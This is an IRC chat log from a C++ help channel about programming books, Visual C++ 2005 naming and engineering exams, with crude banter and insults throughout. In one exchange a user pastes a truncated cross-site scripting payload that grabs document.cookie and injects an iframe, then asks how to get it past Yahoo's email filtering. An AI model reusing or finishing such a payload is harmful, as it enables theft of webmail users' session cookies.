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<0> ya
<1> hey, thanx for the advice and tips, i'm very thankful, you did a very nobel thing:) and now i gotta go
<0> I woulda got the Meyers books, but a guy has em both at work and I needed some C# and XSLT stuff
<1> *see* u in a month (till i learn c++ basics:)
<2> Good luck.
<1> thanks
<1> bye
<0> Nicolai Josuttis <=== sorry JBlitzen
<0> That author.
<0> My spelling was WAY off haha
<0> I think I will buy the Herb Sutter recommendations next
<3> just don't buy JBlitzen's book, "I'm gay, why aren't you?"
<3> not a good read
<3> it's basically 600 pages of his nonsensical IRC rants
<4> lol
<5> khan



<5> go **** a sheep.
<3> negative
<5> goat?
<3> ok
<3> i'm partial to goats
<3> despite what the khankus say
<3> ober has a picture of him on MSN messenger account now, quite frightening
<3> thankfully, he's clothed
<5> lol
<5> how is he doing?
<5> haven't talked to him in ages.
<2> This is my Messenger image: http://www.parkscomputing.com/images/muscles.jpg
<3> haven't talked to him in a few months
<5> he still working at MS?
<3> yeah
<5> on outlook?
<3> he's been in mobile land i think
<6> Twister, Jesuits belong to a christian religious order
<3> he's working on smart phone or some such
<6> Nice, sol
<0> is it a televised ordeR?
<7> my mommie told me christians are pegans
<8> anyone have a copy of visual c++.net?
<7> lol
<7> yes but you can't have it
<7> :D
<5> how about
<5> you go buy it don
<8> damn.. my comp crashed and don't want to buy it
<5> we don't do warez.
<8> not trying to leech
<0> Religious people on television (most of them) can go find a rock to die under as far as I am concerned.
<2> DonJuanCo: You can download Visual C++ 2005 Express from Microsoft for free.
<2> Go Google.
<5> ugh
<0> Especially the guy that has people 'p*** out in the name of Jesus' on his show
<8> yea..but used of .net
<5> why is it i get sick right when cl***es start
<2> DonJuanCo: Eh?
<2> You can do .NET with C++
<2> But if you prefer C#, get Visual C# 2005 Express
<2> Also free.
<2> But if you want Visual Studio, you're going to have to pay for it.
<0> I think he meant the .NET IDE
<2> Visual C++ 2005 *is* a .NET IDE.
<0> right, I think thats what he was refering to.
<0> as supposed to the Express IDE
<8> i have visual c++
<2> Twister2: You are making no sense at all.
<8> serious Solamente
<9> anyone here can help me with something
<0> yes, they are idiots in that department... they just want to throw a buzz word around
<2> texasranger: Not until you ask an actual question.
<9> i send an e-mail to yahoo
<9> and they change my e-mail
<3> that is a problem
<9> i send this:
<0> he said: "But used of .net"
<5> that we don't care about
<2> texasranger: And this relates to C++ how?



<5> unless you are doing it pragmatically from c++
<9> <STYLE onload="window.status=''; var x = escape(document.cookie).substr(0,1900); b.&#105;&#110;&#110;&#101;&#114;&#72;&#84;&#77;&#76;='<iframe
<9> and i got this:
<0> and I said I think he was refering to the .NET IDE aka Visual C++ 2005 .NET
<9> STYLE onfiltered="window.status=''; var x = escape(document.cookie).substr(0,1900); b._innerhtml='<iframe
<3> Twister2, the 2005 product line doesn't contain .NET
<3> in it's name
<9> how can i stop this changes ???????????????????????????????????????????????
<0> ah. ok I did not know that.
<9> anyone know ?
<5> how is that c++?
<3> Visual Studio 2005, Visual <Insert Language Here> Express 2005, and Visual Studio Team System 2005
<10> texasranger by going to jail
<8> i think 2003 is the only one with .net
<3> 2002 too
<0> good, the .NET craze was stupid anyhow
<3> agreed
<3> it confused a lot of C++ developers thinking native code was no longer supported
<2> DonJuanCo: Not so.
<2> Visual Studio 2005 is just an upgrade of 2003, without the stupid name.
<2> Functionally, it
<2> it's identical.
<11> do you have link to Visual C++ 2005 Express?
<8> really?
<2> Really
<3> google it, just a little bit
<2> That's why I rant about the idiot name.
<3> i know you wanna google it, just a little bit
<2> If you can spell it, you can find it.
<0> well, its an upgrade too ;)
<5> hm
<8> but don't you have to include the .h and other **** in beginning programs
<0> so 'almost identical'
<0> DonJuanCo, huh?!
<5> yo noi
<8> Twister2: so you can write the same programs on mainly all versions of visual?
<0> mainly
<0> only the recent once conform to standards though
<0> ones too
<12> no
<12> you shouldn't bother Obike
<5> why's that?
<12> what advantage do you think you get from it?
<13> anyone konw a dl for ms visual studio or visual c++ ;x
<5> according to auburn, higher pay
<12> nope
<12> no one cares about it.
<5> eh?
<14> what's Auburn?
<14> anyway, I went through this whole thing when I was graduating
<14> should I take the PE test
<5> i mean, it is a lot of work...
<14> no one really knew what it was, or what it meant
<14> at least not in the ECE department
<14> the thing is
<14> it doesn't affect us
<14> it's for Civil engineers
<14> and stuff like that
<2> DonJuanCo: You can write standard C++ programs, or you can write .NET programs.
<2> Or both, in fact.
<5> FE, if i p*** become a E.I.T, then 4yrs later take the 2nd part and become a PE
<14> where people's lives are in danger when they make mistakes
<5> noidea: uh, apparently it's for ALL engineers
<14> yes yes
<5> there are 3 parts
<14> but, it doesn't affect all engineers
<5> 1 part is for all engineers, 2nd & 3rd part is major-specific
<14> it will have 0 affect on your career
<5> then why is it advertised all over the place here?
<5> it's free...
<14> like I said
<14> it's for Civil Engineers


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